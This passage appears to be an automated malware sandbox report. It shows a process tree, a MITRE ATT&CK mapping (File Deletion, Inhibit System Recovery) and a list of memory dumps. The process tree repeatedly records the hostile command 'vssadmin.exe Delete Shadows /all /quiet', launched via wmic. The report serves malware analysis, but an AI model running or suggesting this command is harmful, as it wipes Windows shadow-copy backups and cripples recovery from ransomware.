    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2632

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2696

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2716

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2736

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:2868

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:3016

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File Deletion

T1107

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

memory/1064-67-0x0000000001F90000-0x0000000001F91000-memory.dmp

Filesize
4KB

Download
memory/1064-64-0x0000000000200000-0x0000000000201000-memory.dmp

Filesize
4KB

Download
memory/1064-71-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

Filesize
4KB

Download
memory/1064-70-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

Filesize
4KB

Download
memory/1064-103-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/1064-68-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1064-60-0x0000000000020000-0x0000000000025000-memory.dmp

Filesize
20KB

Download
memory/1064-72-0x0000000002000000-0x0000000002001000-memory.dmp

Filesize
4KB

Download
memory/1064-65-0x0000000000210000-0x0000000000211000-memory.dmp

Filesize
4KB

Download
memory/1064-66-0x0000000001F80000-0x0000000001F81000-memory.dmp

Filesize
4KB

Download
memory/1064-63-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/1064-69-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

Filesize
4KB

Download
memory/1064-62-0x00000000001E0000-0x00000000001E1000-memory.dmp

Filesize
4KB

Download
memory/1128-73-0x0000000001B00000-0x0000000001B04000-memory.dmp

Filesize
16KB

Download
memory/1244-61-0x0000000002B20000-0x0000000002B30000-memory.dmp

Filesize
64KB

Download
memory/1740-75-0x000007FEFBDC1000-0x000007FEFBDC3000-memory.dmp

Filesize
8KB

Download